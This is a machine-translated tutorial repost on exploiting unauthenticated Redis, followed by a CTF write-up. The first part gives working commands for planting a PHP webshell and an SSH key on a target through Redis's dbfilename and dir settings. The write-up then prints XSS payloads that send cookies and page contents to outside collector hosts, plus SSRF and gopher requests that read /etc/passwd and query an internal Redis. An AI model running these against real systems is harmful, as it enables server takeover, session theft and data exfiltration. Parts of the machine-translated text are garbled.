Maison >base de données >Redis >Introduction à l'accès non autorisé Redis

Introduction à l'accès non autorisé Redis

尚
avant
2020-05-14 09:24:063160parcourir

Introduction à l'accès non autorisé Redis

Redis est une base de données non relationnelle avec des paires clé-valeur sous forme de paires clé-valeur.

Redis est une base de données de valeurs-clés de type journal open source écrite en langage ANSI C, respecte le protocole BSD, prend en charge le réseau, peut être basée sur la mémoire et persistante et fournit des API dans plusieurs langues.

On l'appelle souvent serveur de structure de données car les valeurs peuvent être des chaînes, des hachages, des cartes, des ensembles et des ensembles triés) et d'autres types.

Service d'installation

win

Adresse de téléchargement : https://github.com/MSOpenTech/redis/releases
Environnement de test :

Système d'exploitation : win7
ip : 192.168.107.144

Introduction à laccès non autorisé Redis

Entrée en ligne de commande

redis-server.exe redis.conf

Introduction à laccès non autorisé Redis

Vérifiez ensuite que le port

Introduction à laccès non autorisé Redis

Le port 6379 (port par défaut de Redis) a été ouvert

redis a démarré avec succès

ubuntu

Installer

sudo apt-get update
sudo apt-get install redis-server

Démarrer le service

redis-server

Commandes de base

Connecter redis

redis-cli.exe -h 192.168.107.144

Afficher la clé est x La valeur de

redis 192.168.107.144:6379> get x
"<?php phpinfo(); ?>"

obtenir toutes les clés

redis 192.168.107.144:6379> keys *
1) "x"

supprimer toutes les clés

redis 192.168.107.144:6379>flushall

exploiter

Cette machine passe activement la commande telnet Connectez-vous à la machine cible

Introduction à laccès non autorisé Redis

ou connectez-vous via redis-cli.exe -h 192.168.107.144

Introduction à laccès non autorisé Redis

La connexion est réussie

Entrez les informations pour obtenir des informations pertinentes

Vous pouvez voir le numéro de version Redis, etc.

Introduction à laccès non autorisé Redis

Méthodes d'utilisation

  • Écrivez une phrase sur webshell

  • Écrivez la clé publique ssh

Écrivez le shell

Introduction à laccès non autorisé Redis

//设置x的值
redis 192.168.107.144:6379> set x "<?php phpinfo(); ?>"  

redis 192.168.107.144:6379> config set dbfilename test.php

redis 192.168.107.144:6379> config set dir D:/WWW/PHPTutorial/WWW

redis 192.168.107.144:6379> save

Écrit avec succès sur la machine cible

Introduction à laccès non autorisé Redis

Clé publique ssh écrite

Générez une paire de clés localement

root@ip-172-31-14-115:~/.ssh# ssh-keygen -t rsa

Introduction à laccès non autorisé Redis

Ensuite, écrivez la clé publique ssh dans la machine cible

root@ip-172-31-14-115:/etc/redis# redis-cli -h 192.168.107.144
192.168.107.144:6379> config set dir /root/.ssh                   # 设置本地存储文件目录
192.168.107.144:6379> config set dbfilename pub_keys        # 设置本地存储文件名

192.168.107.144:6379> set x "xxxx"  # 将你的ssh公钥写入x键里。(xxxx即你自己生成的ssh公钥)

192.168.107.144:6379> save     # 保存

puis connectez-vous à ssh localement

root@ip-172-31-14-115:~/.ssh# ssh -i id_rsa root@192.168.107.144

puis

Redis dans CTF (XSS->SSRF&Gopher->Redis)

Le sujet est

Introduction à laccès non autorisé Redis

Adresse du titre : https://hackme.inndy.tw/scoreboard/

xeeme

Fuite

1Introduction à laccès non autorisé Redis

Trouvé dans robots.txt Le code source divulgué

est le config.php crypté

1Introduction à laccès non autorisé Redis

cookie xss

interface après inscription et connexion

1Introduction à laccès non autorisé Redis

L'envoi d'un email est vérifié

1Introduction à laccès non autorisé Redis

Écrivez un script pour vérifier

<?php
    $captcha=1;
    while(1) {
    if(substr(md5("60df5eaed35edcf0".$captcha),0,5) === "00000")
        {
            echo $captcha;
            break;
        }
        $captcha++;
}
echo "<br>".md5($captcha);
?>

puis filtrez-le Certaines choses

1Introduction à laccès non autorisé Redis

testées avec img

Introduction à laccès non autorisé Redis

onload est également filtré

Introduction à laccès non autorisé Redis

J'ai remarqué un détail ici. Ce qui est filtré, ce sont les espaces plus une erreur. Je suppose qu'il sera filtré lorsqu'il correspondra à une erreur avec des espaces, donc je construis une erreur sans espaces, essayez la charge utile.

<img  src=""onerror="document.location=&#39;http://vps/?a=&#39;+document.cookie" alt="Introduction à l'accès non autorisé Redis" >

puis définir un cookie. Cliquez avec succès sur le cookie

Introduction à laccès non autorisé Redis

Décoder la SESSION

PHPSESSID=rmibdo13ohquscgsuphitr9cp4; FLAG_XSSME=FLAG{Sometimes, XSS can be critical vulnerability <script>alert(1)</script>}; FLAG_2=IN_THE_REDIS

fuite xssrf

D'après le cookie de la question précédente, FLAG_2=IN_THE_REDIS

Toujours le même environnement

Comme j'ai reçu le cookie de l'administrateur, je me suis connecté

Introduction à laccès non autorisé Redis

需要本地登陆,尝试一下伪造xff头

换了几个ip头都没用

于是想到之前做的题,可以直接去打管理员页面的源码

这里 不知道为什么 xss平台接收不到,于是换了一个平台

利用payload

<img  src=""onerror="document.location=&#39;http://rkao6p.ceye.io/?&#39;+btoa(document.body.innerHTML)" alt="Introduction à l'accès non autorisé Redis" >

Introduction à laccès non autorisé Redis

发现innerhtml被过滤

于是html编码

<img  src=""onerror="document.location=&#39;http://rkao6p.ceye.io/?&#39;+btoa(document.body.innerHTML)" alt="Introduction à l'accès non autorisé Redis" >

发现收到请求

Introduction à laccès non autorisé Redis

解个码,放在本地

Introduction à laccès non autorisé Redis

SSRF读取config.php

猜测send request功能存在ssrf

<img src=""onerror="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
    document.location=&#39;http://vps?&#39;+btoa(xmlhttp.responseText)
}
}
xmlhttp.open("GET","request.php",true);
xmlhttp.send();
">

vps收到请求

Introduction à laccès non autorisé Redis

解码:

...


      <form action="/request.php" method="POST">
        <div class="form-group">
          <label for="url">URL</label>
          <textarea name="url" class="form-control" id="url" aria-describedby="url" placeholder="URL" rows="10"></textarea>
        </div>

        <button class="btn btn-primary">Send Request</button>
      </form>
    </div>
  </body>
</html>

post请求的url参数

尝试读文件

<img src=""onerror="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
    document.location=&#39;http://52.36.15.23:12345?&#39;+btoa(xmlhttp.responseText)
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=file:///etc/passwd");
">

成功读到/etc/passwd

Introduction à laccès non autorisé Redis

于是读之前的config.php

Introduction à laccès non autorisé Redis

xssrf redis(ssrf+gopher拿下flag)

根据flag的提示,redis的端口是25566
请求redis配合gopher

<img src=""onerror="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
    document.location=&#39;http://52.36.15.23:12345?&#39;+btoa(xmlhttp.responseText)
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=gopher://127.0.0.1:25566/_info");
">

Introduction à laccès non autorisé Redis

成功获取info

查看一下keys

xmlhttp.send("url=gopher://127.0.0.1:25566/_key%2520*");

1Introduction à laccès non autorisé Redis

去读

既然有flag键,那么直接去读flag的值

xmlhttp.send("url=gopher://127.0.0.1:25566/_get%2520flag");

1Introduction à laccès non autorisé Redis

类型不符合

于是查看类型

xmlhttp.send("url=gopher://127.0.0.1:25566/_type%2520flag");

1Introduction à laccès non autorisé Redis

是list,返回列表长度

xmlhttp.send("url=gopher://127.0.0.1:25566/_LLEN%2520flag");

1Introduction à laccès non autorisé Redis

那么获取所有元素

xmlhttp.send("url=gopher://127.0.0.1:25566/_LRANGE%2520flag%25200%252053");

1Introduction à laccès non autorisé Redis

于是写个脚本

flag="""
}
t
i
o
l
p
x
e

o
t

y
s
a
e

s
i

n
o
i
t
a
c
i
t
n
e
h
t
u
a

t
u
o
h
t
i
w

s
i
d
e
R
{
G
A
L
F
"""
result = flag[::-1]
print(result)

最后flag FLAG{Redis without authentication is easy to exploit}

原文地址:https://xz.aliyun.com/t/4051

更多redis知识请关注redis入门教程栏目。

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer